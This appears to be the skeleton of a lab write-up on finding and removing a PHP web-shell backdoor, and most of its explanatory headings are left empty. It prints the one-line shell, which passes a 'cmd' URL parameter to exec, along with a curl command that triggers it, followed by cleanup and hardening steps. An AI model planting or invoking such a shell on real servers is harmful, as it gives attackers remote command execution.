Mitigating a Backdoor Attack

What You Learned

Understanding Web Shell Exploitation:

Steps to Mitigate:

Steps Taken and Commands Used

1. Inspecting the Malicious PHP File:

Command:

cat hello.php

Content:

<?php
echo exec($_GET["cmd"]);
?>

Purpose:

2. Testing the Web Shell:

Command:

curl http://192.168.111.135/hello.php?cmd=[command]

Examples:

Purpose:

3. Detecting Open Ports:

Command:

nmap 192.168.111.135

Output:

Purpose:

4. Removing the Malicious Web Shell:

Commands:

rm -f /var/www/html/hello.php

Purpose:

5. Checking System Processes:

Command:

ps -aux | grep php

Purpose:

6. Hardening the Server:

Actions:

Commands:

chmod -R 750 /var/www/html
chown -R root:www-data /var/www/html

Key Takeaways

  1. Immediate Mitigation:

  2. Long-Term Prevention:

  3. System Integrity Verification: